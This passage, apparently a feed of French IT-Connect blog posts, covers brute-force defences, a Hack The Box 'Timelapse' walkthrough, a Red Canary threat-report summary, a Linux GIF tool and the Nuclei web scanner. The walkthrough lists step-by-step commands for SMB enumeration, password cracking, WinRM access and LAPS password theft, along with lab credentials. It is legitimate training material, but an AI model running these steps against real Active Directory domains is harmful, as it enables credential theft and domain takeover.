Pour empêcher cette exploitation du seuil de verrouillage, il est en général préféré de bannir l’adresse IP de l’attaquant ou de n’autoriser une même adresse IP à faire uniquement quelques requêtes d’authentification par minute.

C. Authentification multifacteurs

La troisième principale méthode pour se protéger des attaques par brute force est de faire en sorte que la connaissance du mot de passe ne suffise pas à se connecter à un compte. On y ajoutera alors un second facteur d’authentification, comme un OTP (One Time Password) envoyé par SMS, e-mail ou via une application spécialisée sur smartphone.

En fonction de la réponse du service visé, l’attaquant pourra certainement savoir si le mot de passe tenté est correct (redirection vers la phase “second facteur”), mais cette information ne sera pas suffisante pour compromettre les comptes ciblés.

Pour aller plus loin, je vous recommande vivement de consulter l’excellent document de l’ANSSI à ce sujet :

• ANSSI - Recommandations relatives à l'authentification multifacteur et aux mots de passe

VI. Conclusion

Dans cet article, nous avons vu ce que sont les attaques par brute force et dans quel but elles sont utilisées lors d’une cyberattaque, que ce soit dans un environnement Active Directory, une application web ou tout autre service réseau dont la sécurité repose sur le couple login/mot de passe.

Nous avons également vu les principaux moyens de protection des comptes utilisateurs contre ces attaques. Pour aller plus loin, il faudrait s’intéresser au moyen de détection d’une telle attaque, mais cela dépend beaucoup de l’environnement ciblé et sera différent, qu’il s’agisse d’un service SSH isolé, d’une application web, ou d’une opération ciblant les comptes d’un Active Directory.

Dans tous les cas, un élément commun sera à utiliser : les journaux d’évènements, leur bonne configuration, leur centralisation et leur surveillance active !

N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord !

The post L’essentiel sur les attaques brute force : principes, types d’attaques et mesures de protection first appeared on IT-Connect.

I. Présentation

Dans cet article, je vous propose la résolution de la machine Hack The Box Timelapse, de difficulté "Facile". Cet exercice vous montrera un exemple très concret et plutôt réaliste de compromission d'un Active Directory et donc d'un domaine dans un réseau d'entreprise.

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs.

Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Technologies abordées	Windows, Powershell, LAPS
Outils utilisés	nmap, smbclient, johntheripper, evil-winrm, openssl, PowerShell

Retrouvez tous nos articles Hack The Box via ce lien :

• IT-Connect - Articles Hack The Box

II. Résolution de la box Timelapse

A. Découverte et énumération

Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$ nmap 10.10.11.152 -p- -T5 -Pn
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5986/tcp  open  wsmans

De nombreux services sont exposés et nous pouvons directement distinguer des services propres aux systèmes d'exploitations Windows et même à l'Active Directory (TCP/88).

Retrouvez notre cours complet sur Nmap sur lien suivant :

• IT-Connect - Maîtrisez Nmap pour la cartographie réseau et le scan de vulnérabilités

B. Recherche dans un partage de fichiers

Une première opération à réaliser systématiquement est de vérifier que tous les partages sont bien protégés par une authentification, exemple avec le port TCP/445 (SMB) et l'outil "smbmap" :

Technique d'attaque (MITRE ATT&CK) : T1078.001 - Valid Accounts: Default Accounts

$ smbmap -u "%" -p "" -P 445 -H 10.10.11.152 --no-banner

Voici le retour que l'on peut observer :

Le service SMB accepte les null sessions, on peut donc s'y authentifier et parcourir certains partages de fichier sans connaitre d'identifiants valides. Une rapide découverte des fichiers stockés nous permet de découvrir une archive ".zip" :

Technique d'attaque (MITRE ATT&CK) : T1083 - File and Directory Discovery

Celle-ci est protégée par un mot de passe, nous pouvons utiliser l'outil "zip2john" afin d'extraire le hash de ce mot de passe dans un format que l'outil de cassage "John The Ripper" saura interpréter. Nous pourrons ensuite utiliser cet outil pour tenter de retrouver le mot de passe correspondant à ce hash à l'aide d'une attaque par brute force reposant sur le dictionnaire "rockyou.txt" :

Technique d'attaque (MITRE ATT&CK) : T1110.002 - Brute Force: Password Cracking

$ zip2john winrm_backup.zip > /tmp/zipPasswordHash
$ john /tmp/zipPasswordHash --wordlist=rockyou.txt
supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx)

L'utilisation d'un mot de passe faible nous permet d'ouvrir l'archive pour en extraire un fichier ".pfx", dont l'accès est également protégé par un mot de passe. Nous pouvons réitérer la même opération sur ce format de fichier (avec "pfx2john") :

$ pfx2john legacyy_dev_auth.pfx > /tmp/pfxPasswordHash
$ john /tmp/pfxPasswordHash --wordlist=rockyou.txt
thuglegacy       (legacyy_dev_auth.pfx) 

Comme vous pouvez le remarquer, l'outil "John The Ripper" va détecter lui-même le format du hash et adapter son cassage de mot de passe en conséquence. Le nom du fichier semble nous indiquer qu'il appartient à l'utilisateur "legacyy".

Maintenant que nous connaissons le mot de passe du fichier ".pfx", qui est un certificat privé, nous pouvons extraire la clé privée et le certificat qu'il contient :

$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes 
$ openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem

C. Accès winRM et historique PowerShell

Une clé privée est avant tout utilisée pour prouver une identité, c'est-à-dire s'authentifier. Nous pouvons tenter d'utiliser ces informations afin de nous authentifier sur les services exposés de notre cible qui accepte ce mode d'authentification. J'utilise ici l'outil "evil-winrm" afin de m'authentifier sur le service WinRM (TCP/5985) en utilisant la clé privée et le certificat précédemment découvert :

Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management

evil-winrm  --user Legacy -k priv-key.pem -i timelapse.htb -p thuglegacy -S -c certificate.pem
*Evil-WinRM* PS C:\Users\legacyy\Desktop> cat user.txt
a9a2[REDACTED]d351f

Une fois qu'un accès interactif distant est obtenu sur une cible, l'attaquant peut mener de nombreuses opérations pour comprendre où il est sur le réseau, sur le système, quels sont ses droits locaux, à quoi sert le système compromis, etc. Parmi ces opérations figure la vérification de l'historique utilisateur, stocké dans un fichier dans le répertoire de chaque utilisateur dans le cas de PowerShell :

Technique d'attaque (MITRE ATT&CK) : T1083 - File and Directory Discovery

Evil-WinRM* PS C:\Users\legacyy> cat C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

Dans notre cas, l'historique de commande PowerShell nous permet de retrouver un mot de passe en clair saisi lors de sa conversion en objet "SecureString". Nous pouvons également facilement savoir à quel utilisateur il appartient : "svc_deploy". Ce compte peut ensuite être utilisé pour accéder à distance au système à l'aide de la commande "evil-winrm" :

Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management

$ evil-winrm --user svc_deploy -i timelapse.htb -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

D. Élévation de privilège via LAPS_READERS

Nouveau compte, nouvelle énumération. Il nous faut à présent connaitre les droits supplémentaires de ce compte par rapport au compte précédent afin de savoir si celui-ci nous permettra d'aller encore plus loin sur le système. Je liste, par exemple, l'ensemble de mes droits et permissions sur le système d'exploitation via avec la commande ""whoami /all"" :

Technique d'attaque (MITRE ATT&CK) : T1069.002 - Permission Groups Discovery: Domain Groups

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami /all
User Name            SID
timelapse\svc_deploy S-1-5-21-671920749-559770252-3318990721-3103

GROUP INFORMATION
TIMELAPSE\LAPS_Readers                      Group            S-1-5-21-671920749-559770252-3318990721-2601 Mandatory group, Enabled by default, Enabled group

Cet utilisateur "svc_deploy" fait partie du groupe "TIMELAPSE/LAPS_READERS", il s'agit d'un groupe important qui permet de gérer, et donc lire, les mots de passe LAPS des systèmes du domaine.

Pour en apprendre plus sur ce qu'est LAPS et surtout son apport en termes de sécurité, n'hésitez pas à consulter nos tutoriels à ce sujet :

• Active Directory - Comment configurer Windows LAPS ?
• Intune - Comment configurer Windows LAPS ?

Ce droit très sensible me permet notamment de récupérer le mot de passe de l'administrateur du contrôleur du domaine, opération ici réalisée en PowerShell :

Technique d'attaque (MITRE ATT&CK) : T1555 - Credentials from Password Stores

> Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
DistinguishedName           : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName                 : dc01.timelapse.htb
Enabled                     : True
ms-Mcs-AdmPwd               : (z)e;CScAMkY1{C-h{vq8oSb
Name                        : DC01

Avec cette information, nous obtenons les droits de l'utilisateur local "Administrator". Autrement dit, nous avons compromis le contrôleur de domaine, et par extension le domaine lui-même.

Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management

*Evil-WinRM* PS C:\Users\Administrator> whoami
timelapse\administrator
*Evil-WinRM* PS C:\Users\TRX> cat Desktop/root.txt
74d6f[REDACTED]9c2d6

III. Résumé de l'attaque

Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :

TTP (MITRE ATT&CK)	Détails
T1046 - Network Service Discovery	Scan réseau réalisé via nmap pour découvrir les services exposés
T1078.001 - Valid Accounts: Default Accounts	Découverte et utilisation d'un null session sur le service SMB
T1083 - File and Directory Discovery	Recherche de fichiers sensibles dans le partage de fichier via smbmap. Téléchargement d'une archive ZIP
T1110.002 - Brute Force: Password Cracking	Attaque par bruteforce sur un ".zip" chiffré, puis un fichier ".pfx"
T1021.006 - Remote Services: Windows Remote Management	Accès distant winRM avec le compte "legacyy" et l'outil "evil-winrm".
T1083 - File and Directory Discovery	Recherche de fichiers sensibles sur le système avec les droits de l'utilisateur "legacyy". Découverte d'un mot de passe dans l'historique PowerShell.
T1021.006 - Remote Services: Windows Remote Management	Accès distant winRM avec le compte "svc-deploy" et l'outil "evil-winrm".
T1069.002 - Permission Groups Discovery: Domain Groups	Découverte des groupes dont est membre "svc-deploy" via PowerShell.
T1555 - Credentials from Password Stores	Récupération du mot de passe de l'administrateur local du contrôleur de domaine via PowerShell
T1021.006 - Remote Services: Windows Remote Management	Accès distant winRM avec les identifiants de l'administrateur local.

IV. Notions abordées

A. Côté attaquant

Le chemin d'attaque de cette box propose la découverte et l'exploitation de vulnérabilité assez classiques et réalistes, notamment concernant l'identification des partages réseau. Il est très fréquent de trouver des partages réseau sur les hôtes d'un système d'information dont certains sont très mal protégés. Cela parfois à cause du "shadow IT", des services montés dans le dos de l'équipe informatique, ou par simple négligence sur un périmètre trop important et difficile à maitriser.

À ce titre, la découverte des partages de fichiers et la recherche d'information sensible aurait également pu être réalisée via Snaffler, qui nous aurait sorti le même résultat.

Pour en apprendre plus sur cet outil puissant, voici notre article sur le sujet :

• IT-Connect - Analysez vos partages de fichiers Active Directory avec Snaffler pour protéger vos données

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 : Nous pouvons ici recommander dans un premier temps de renforcer la politique de mots de passe sur le service SMB notamment en interdisant les null sessions. Le mot de passe utilisé pour protéger l'archive ".zip" et le ".pfx" sont faibles puisqu'ils ont été cassés à l'aide du dictionnaire très classique rockyou.txt. Nous pouvons citer en ressource externe le guide de l'ANSSI sur les mots de passe : Recommandations relatives à l'authentification multifacteur et aux mots de passe.

• IT-Connect - Politique de mot de passe : comment appliquer les bonnes pratiques de l’ANSSI ?
• IT-Connect - Pourquoi faut-il préférer les passphrases aux mots de passe ?

Recommandation n°2 : par extension, il peut être recommandé de vérifier la présence de fichiers sensibles dans les partages réseau, cela pour éviter qu'un utilisateur ou attaquant ne tombe sur des fichiers qu'il n'est pas censé trouver.

Recommandation n°3 : enfin, il peut être recommandé de sensibiliser l'équipe technique à la manipulation des mots de passe, surtout pour éviter qu'ils se retrouvent stockés dans l'historique PowerShell ou ailleurs.

L'élévation de privilège réalisé ici n'a rien d'anormal une fois que l'on a compromis le compte "svc-deploy". On peut s'interroger sur la légitimité de l'appartenance au groupe "LAPS_READERS" mais cela dépends essentiellement du contexte métier et organisationnel. Une fois ce compte compromis, on ne fait finalement qu'une opération légitime : récupérer un attribut auquel les membres de groupe ont accès. Le compte "svc-deploy" a d'ailleurs un mot de passe plutôt correct.

J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord!

Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy

The post Compromission Active Directory – Le cas de la Box Timelapse de Hack The Box first appeared on IT-Connect.

Le "Red Canary’s 2024 Threat Detection Report" offre une analyse exhaustive des cybermenaces actuelles, détaillant les principales techniques d'attaque et fournissant des recommandations cruciales pour renforcer la cybersécurité des entreprises et des États. Qu'en est-il en 2024 ?

Qu'est-ce que le rapport de Red Canary ?

Le Red Canary’s 2024 Threat Detection Report est un rapport biannuel produit par la société de cybersécurité américaine Red Canary. Il vise à détailler les tendances des menaces pesant sur les entreprises et les États. Ce rapport se base sur plus de 60 000 détections obtenues auprès de plus de 1 000 clients de la société, couvrant des endpoints, des infrastructures cloud, des équipements réseau, des applications SaaS, et plus encore.

Ce rapport de 160 pages détaille les tendances des menaces observées sur le terrain durant la première moitié de l'année 2024.

• Qu'est-ce que cela signifie ?

Grâce à sa présence dans de nombreux systèmes d'information, Red Canary est en mesure de capter un grand nombre d'événements de sécurité. Cela permet de dessiner des tendances sur les principales techniques utilisées par les attaquants, les impacts observés lors des cyberattaques, ainsi que les objectifs visés.

• À quoi peut me servir ce rapport ?

En lisant ce rapport, avec ses détails techniques et ses conclusions, vous pourrez mieux comprendre les techniques utilisées par les attaquants, le profil de leurs victimes et l'évolution de ces différents éléments dans le temps. En connaissant les menaces qui pèsent sur votre entreprise, vous pourrez anticiper et adapter vos projets de cybersécurité actuels et futurs pour mieux vous défendre contre ces menaces.

Les conclusions de ce rapport peuvent, par exemple, servir à améliorer les systèmes de détection d'intrusion de votre SOC, amener à la réalisation d'audit de sécurité sur des composants spécifiquement ciblés par les attaquants cette année ou simplement améliorer les connaissances de vos équipes de défense.

Intéressons-nous maintenant aux différentes conclusions de ce rapport.

Les tendances des cyberattaques en 2024

Red Canary a effectué une analyse des principales tendances rencontrées lors de cyberattaques confirmées et rapports threat intelligence (renseignement sur la menace) au cours de la dernière année.

Sans surprise, la tendance principale des cyberattaques observées durant ces derniers mois fait apparaitre les ransomwares en haut du classement. Ce business visiblement lucratif a la vie dure et continue année après année à impacter lourdement les entreprises qui en sont victimes.

Les attaques sur les accès initiaux, c'est-à-dire visant à obtenir un premier accès au sein du système d'information d'une entreprise pour ensuite implanter un agent dormant et vendre l'accès au plus intéressé, est également un élément qui demeure très présent dans les observations de 2024. Suivi de près par les attaques ciblant le vol d'identifiants, dont l'impact est d'autant plus grand grâce (ou à cause) de l'implémentation du SSO (Single Sign On).

Parmi les autres tendances observées en 2024, on peut également noter :

• L'exploitation de CVE (vulnérabilités publiques) sur des composants non à jour
• Le déploiement de stealer, des malwares spécialisés dans la récolte de données sur le système sur lequel ils sont installés, comme les mots de passe dans les navigateurs ou les coffres-fort de mots de passe. On peut notamment citer les malwares RedLine, Vidar et LummaC2.
• L'utilisation d'outils d'administration à distance légitimes comme Atera ou Remco
• L'utilisation de tokens (jeton d'authentification) API volés sur les infrastructures cloud : les tokens apparaissent de plus en plus comme des alternatives à durée de vie temporaire à la saisie fréquentes des mots de passe, il faut être conscient que le vol de ceux-ci permet d'usurper l'identité du propriétaire.
• L'intelligence artificielle générative, qui fait son apparition depuis quelque temps dans les médias, mais aussi chez les cyberattaquant. Cela particulièrement afin de construire des outils et campagnes de phishing très crédibles, mais aussi pour concevoir de nouveaux malwares rapidement.
• La société observée également qu'un quart des détections réalisées sont en fait dues à des opérations de test "légitimes", tel que du bug bounty, des tests d'intrusion ou des opérations red team.

Enfin, il est par ailleurs intéressant de constater que le secteur d'activité n'est plus vraiment un facteur d'augmentation ou de réduction du risque de cyberattaque. Autrement dit, les attaquants ne cherchent plus à cibler un type d'industrie spécifique ou à en éviter d'autres (comme les écoles et les hôpitaux par le passé). À présent, tout le monde est en risque de devenir la cible d'une cyberattaque.

Les principales menaces observées en 2024

Les observations faites par Red Canary sur la fin de 2023 et début 2024 permettent d'identifier les principaux outils utilisés par les cyberattaquants :

La menace qui se démarque le plus, au-dessus de l'utilisation d'outils classiques d'attaque comment impacket et mimikatz, est CharCoal Stork.

Charcoal Stork est un fournisseur de pay-per-install (PPI) qui utilise le malvertising pour distribuer des installateurs, souvent déguisés en jeux piratés, polices ou fonds d'écran. Initialement, Charcoal Stork utilisait des fichiers ISO avec des charges utiles comprenant une application basée sur NodeJS et des commandes PowerShell pour installer ChromeLoader. En 2023, les charges utiles ont évolué pour inclure des fichiers VBS, MSI et EXE.

SmashJacker, par exemple, installe une version piégée de 7-zip qui installe une extension malveillante sur le navigateur. En août 2023, Charcoal Stork a livré des fichiers EXE menant à des logiciels malveillants plus préoccupants comme VileRAT, un RAT (Remote Administration Tool) Python utilisé par DeathStalker.

Si vous souhaitez en savoir plus, notamment afin de détecter la présence de cet élément malveillant dans votre système d'information. Je vous invite à consulter la page dédiée à Charcoal Stork sur le site web de Red Canary.

• Red Canary - Threat Charcoal Stork

Vous y trouverez des informations permettant d'identifier des éléments signatures (hash, lignes de commande, nom de fichiers) pouvant trahir sa présence.

Les principales techniques (TTP) des attaquants en 2024

La dernière section du document permet de lister les principales techniques d'attaque observées depuis fin 2023/début 2024. Ces techniques sont identifiées selon les TTP du framework d'attaque du MITRE : ATT&CK

Les techniques ciblant les systèmes d'exploitation Windows sont bien sûr en tête de liste, cela est en lien direct avec le fait qu'il s'agit d système le plus utilisé pour les postes utilisateur. On y retrouve donc les TTP liés à l'exécution de commande batch et PowerShell (présent dans 22.1% des cyberattaques observées !) ainsi que WMI (Windows Management Instrumentation).

Il est à noter la montée fulgurante du TTP Cloud Account, qui passe de la 46ᵉ place en 2022 à la 4ᵉ aujourd'hui. Cette technique (T1078.004 - Cloud Accounts) vise à utiliser des identifiants volés d'environnement Cloud pour réaliser un premier accès à une cible, mais aussi de la persistance, de l'élévation de privilège ou de l'évasion de défense.

Conclusion

Le Red Canary’s 2024 Threat Detection Report nous offre une analyse détaillée des tendances actuelles en matière de cybersécurité. Les données recueillies donnent des informations très importantes pour mieux protéger votre système d'information et votre entreprise.

Je vous recommande sa lecture (un peu longue certes, mais très instructive), si vous voulez avoir plus de détails et comprendre en profondeur les principales tendances des menaces en 2024 :

• Red Canary - 2024 Threat Detection Report

The post Quelles tendances des menaces en 2024 ? Réponse avec le rapport Red Canary ! first appeared on IT-Connect.

I. Présentation

Comment enregistrer des GIF sous Linux pour créer des images animées ? Aujourd’hui, je vous présente Peek, un outil qui va vous permettre d'enregistrer rapidement et simplement des GIF sous Linux.

Les GIF sont notamment pratiques pour faire office de "mini-vidéo" car nous pouvons créer des images animées, afin de montrer quelques enchaînements rapides de commande, ils peuvent très bien se substituer aux vidéos dans le cadre de tutoriels ou sur les forums afin de montrer un événement dynamique. Enfin, ils sont beaucoup moins lourds à enregistrer et à traiter que les vidéos. C'est une particularité des GIF, car ce n'est pas possible avec les formats JPG et PNG.

Voici le GitHub du projet : github.com/phw/peek

Peek est un outil à installer sur une machine Linux. Pour cela, il est nécessaire de disposer d'un environnement graphique sur votre machine Linux car il ne fonctionnera pas si vous êtes seulement en ligne de commande.

Version originale de l'article : 28 septembre 2017.

II. Installation de Peek sur Debian

Il y a quelques années, il était nécessaire de compiler Peek afin de pouvoir l'installer sur Linux. Désormais, il est bien intégré aux différents dépôts, que ce soit pour Debian, ElementaryOS, Ubuntu, Fedora ou encore Arch Linux. Les commandes d'installations sont fournies sur le GitHub officiel.

Il suffit de l'installer comme n'importe quel paquet. Son installation va aussi déclencher l'installation de dépendances : ffmpeg, libavdevice59 et libkeybinder-3.0-0.

sudo apt-get update
sudo apt-get install peek

À la suite de son installation, Peek pourra être lancé depuis la ligne de commande ou depuis votre environnement graphique.

III. Utilisation de Peek pour enregistrer un GIF

Peek est très simple d'utilisation, il suffit de le lancer depuis votre environnement graphique. Un raccourci est présent dans le lanceur d'applications.

Une fenêtre va alors apparaître avec seulement un bouton "Enregistrer en GIF" accompagné par une flèche sur la droite. Celle-ci permet de changer le format de sortie, pour enregistrer au format MP4, par exemple. Mais, ici, c'est bien la création d'un GIF animé qui nous intéresse.

Tout ce qui sera à l'intérieur du cadre sera alors enregistré dans le GIF animé. Avant de lancer l'enregistrement, vous devez ajuster la position et les dimensions de cette fenêtre transparente, en fonction de vos besoins.

Pour mettre fin à l'enregistrement, il suffit de cliquer sur le bouton "Arrêter". Peek demandera alors où vous souhaitez enregistrer votre fichier GIF, qui sera directement exploitable. À noter également la présence d'un chronomètre pour connaître la durée de l'enregistrement. Il va de soi que plus l'enregistrement est long et la zone capturée grande, plus l'image sera lourde.

La section "Préférences" de l'application intègre quelques options pour personnaliser Peek. Par exemple, vous pouvez ajuster la fréquence d'image. Ceci aura un impact sur la fluidité du GIF, mais aussi sur son poids. Il y a également un raccourci pour lancer ou arrêter la capture : CTRL + ALT + R. Ce dernier est personnalisable.

Remarque : si vous rencontrez l'erreur "Using screen recorder backend gnome-shell Recording to file /home/harry/.cache/peek/peekTP7X0Y.mp4 convert: delegate failed", c'est probablement qu'il vous manque le paquet "ffmpeg" sur votre machine. Voici comment remédier à ce problème :

sudo apt-get install ffmpeg

IV. Conclusion

Désormais, vous êtes capable d'enregistrer des GIF animés sur votre machine Linux ! Que pensez-vous de Peek ? Connaissez-vous des alternatives ? N'hésitez pas à commenter cet article.

The post Comment enregistrer des GIF animés sous Linux avec Peek ? first appeared on IT-Connect.

I. Présentation

Dans cet article, nous allons découvrir et apprendre à maitriser Nuclei : un scanner web, open-source, rapide et puissant. Cet outil peut être utilisé dans de nombreux cas, notamment pour scanner un ou plusieurs sites web très rapidement et découvrir de potentielles vulnérabilités les affectant, et ce, de façon automatisée.

Nuclei propose de très nombreux points de test et de vérification. Par exemple, il vous permettra de facilement découvrir sur des sites web :

• Des fichiers sensibles accessibles ;
• Des signatures spécifiques à certaines technologies, voire la découverte de leur version exacte ;
• Des CVE affectant une application ;
• Des logins par défaut ;
• Des défauts de configuration concernant l'application web, le service web, les en-têtes de sécurité ou les cookies ;
• Des pages d'administration exposées ;
• Réaliser des tâches de fuzzing ;
• Certaines vulnérabilités du top 10 OWASP ;
• Etc.

Et, je ne parle même pas de la prise en compte d'autres protocoles qui peuvent graviter autour de la réalisation d'une analyse de sécurité sur des applications web : DNS, SSH, SSL, mais aussi la réalisation de tâches d'OSINT ou d'analyse de fichiers, etc.

Ce projet open source présent sur le dépôt de ProjectDiscovery possède de nombreuses forces :

• Rapidité : Nuclei est écrit en Go (Golang), un langage notamment optimisé pour le parallélisme et les opérations web/API. Il est capable d'effectuer un grand nombre d'opérations sur plusieurs centaines de sites en relativement peu de temps comparé à d'autres outils.
• Développement communautaire : presque 5 000 commits en 4 ans existences, plus de 300 contributeurs venant de nombreux pays et plus de 8 000 modules de test. La grande force de Nuclei est également sa communauté qui propose continuellement de nouveaux modules de test pour suivre l'actualité des attaques et des vulnérabilités.
• Simplicité de prise en main et de personnalisation : vous le verrez à la fin de cet article, la prise en main de Nuclei est aisé, un peu de pratique sera nécessaire pour une utilisation avancée, mais rien d'insurmontable, il suffit de savoir lire la manpage. Également, les choix techniques faits par les développeurs rendent l'outil personnalisable très facilement grâce au format YAML.

Dans les faits, j'utilise très fréquemment de Nuclei pour automatiser toute sorte de vérification, que ce soit sur une application web précise ou sur plusieurs centaines de sites. Ainsi, les cas d'usage les plus fréquents de Nuclei sont :

• Effectuer une analyse globale d'une surface d'attaque composée de nombreuses applications web ;
• Réaliser un check-up régulier de la sécurité des applications web de son entreprise ;
• Automatiser la vérification de certains points lors test d'intrusion ou d'une recherche Bug Bounty ;
• Vérifier rapidement sur un grand nombre de sites la présence d'une nouvelle vulnérabilité publiée ;
• Etc.

Attention, bien que Nuclei ne soit pas fait pour exploiter des vulnérabilités, il enverra des requêtes qui s'apparenteront quoi qu'il arrive à une cyberattaque. Ainsi, assurez-vous de disposer d'une autorisation explicite des propriétaires des applications web visées (test d'intrusion, analyse interne à l'entreprise ou Bug Bounty). Pour rappel : Code pénal : Chapitre III : Des atteintes aux systèmes de traitement automatisé de données

II. Installation de Nuclei

Nous allons à présent installer Nuclei, j'utilise pour cela un OS Linux (Kali Linux), mais cela devrait fonctionner sur n'importe que Système Linux. L'outil étant écrit en Go, votre système doit disposer de quoi exécuter les programmes écrit en Go, vous pourrez vérifier que c'est le cas via la commande suivante :

$ go version
go version go1.21.6 linux/amd64

Si vous n'avez pas une version en réponse, c'est que Go n'est pas présent sur votre système. Je vous oriente vers la documentation officielle, très claire, pour l'installer :

• Go.dev - Download and Install

Pour que Nuclei puisse être utilisé depuis n'importe quel dossier de votre système, n'oubliez pas d'ajouter le répertoire dans lequel seront stockés les binaires Go dans votre variable "PATH" et d'intégrer cette modification à votre ".bashrc" :

export PATH=$PATH:/usr/local/go/bin

Une fois cela fait, nous pouvons installer Nuclei avec la commande suivante :

go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

Pour vérifier qu'il s'est bien installé, vous pouvez utiliser la commande suivante :

nuclei --version

Si tout s'est bien passé, voici le résultat attendu :

L'outil étant très souvent mis à jour, cette commande vous permettra également de mettre à jour Nuclei. Pour finir, il faut nous assurer que notre base de templates, nom des modules de test de Nuclei, est à jour. Nous pouvons pour cela utiliser la commande suivante (-ut" pour "--update-templates") :

nuclei -ut

Voici une sortie possible :

Voilà, notre base est à jour. Pensez à mettre souvent à jour votre base de template, car de nouveaux sont très souvent disponibles.

II. Maitriser Nuclei pour scanner des sites web

A. Utilisation basique de Nuclei

À présent, nous allons commencer à utiliser Nuclei dans des cas basiques, afin de se faire la main. Pour commencer, nous pouvons lancer Nuclei en mode "par défaut", sans trop lui spécifier d'option. Nous devons au moins lui spécifier l'application web à scanner :

Comme vous pouvez le voir, nous obtenons quelques informations à propos du contexte de lancement du test. Nous voyons notamment si Nuclei et notre base de template sont à jour, mais aussi le nombre de templates qui seront utilisés ici : 7921.

En sachant qu'un template peut lui-même exécuter plusieurs requêtes, cela donne une idée du nombre de requêtes et de tests que Nuclei va faire.

Vu l'application web testée ici, je ne suis pas près de trouver des vulnérabilités là-dessus avec Nuclei. Mais c'est pour l'exemple :). Vous noterez tout de même que Nuclei me renvoie quelques alertes de type "[info]", qui correspondent à des points de vérifications standard (certificat, CDN utilisé, technologies, etc.).

Pour connaitre le nombre exact de requêtes qui seront envoyées, et en plus avoir un état d'avancement du test, je vous conseille de systématiquement utilisé l'option "--stats" :

nuclei -u https://monapplication.tld --stats

Voici ce que cette option va changer :

Vous aurez un suivi, toutes les 5 secondes, du nombre de tests fait et à faire, le nombre d'hôtes qui ont été scannés parmi ceux fournis en entrée, le nombre de template pour lesquels il y a eu un résultat (4 dans mon exemple) et le nombre d'erreurs. Ce dernier nombre sera forcément élevé puisque la plupart des tests n'aboutiront pas, la cible ne pouvant de toute façon pas être vulnérables à tout d'un seul coup :-).

Pour aller plus loin, nous pouvons aussi scanner non pas une application web, mais un nom de domaine, observons la différence :

Comme vous pouvez le voir, Nuclei va utiliser "httpx" sur le nom de domaine fournit. Cet outil tiers va permettre de déterminer quels sont les services web accessibles sur le nom de domaine en allant vérifier sur les ports classiques pour ce service : TCP/80, TCP/81, TCP/443, TCP/8080, etc. Cela permet de faire une analyse un peu plus large, et de scanner aussi bien le service TCP/443 que les TCP/8080 si les deux sont présents pour un même domaine.

Enfin, dans un contexte plus réaliste, nous pouvons scanner plusieurs applications web, domaine ou adresse IP. Il suffit pour cela de créer un fichier texte avec une cible par ligne et d'indiquer ce fichier à Nuclei :

nuclei --list mesCibles.txt --stats

Voilà pour l'utilisation vraiment basique de Nuclei. Peut-être avez-vous déjà eu des premiers résultats ici, mais je vous conseille de continuer la lecture de l'article, car nous allons apprendre à manier l'outil de façon beaucoup plus efficace et intéressante.

B. Découverte et usage des templates

Comme indiqué dans l'introduction, la puissance de Nuclei réside dans ses nombreux templates et son approche modulaire. Les templates de Nuclei décrivent chacun un test bien précis et ceux-ci sont organisés en catégories et en tags, ce qui permet de facilement les utiliser en fonction de nos besoins. Voici notamment un aperçu des tags les plus présents :

Vous trouverez sur la page suivante la totalité des tags pouvant être utilisés dans les options d'exécution de Nuclei :

• Github - Nuclei : Templates Stats

Par défaut, vos templates Nuclei sont normalement stockés dans le répertoire "~/.local/nuclei-templates/". Vous pourrez également les parcourir dans ce répertoire local.

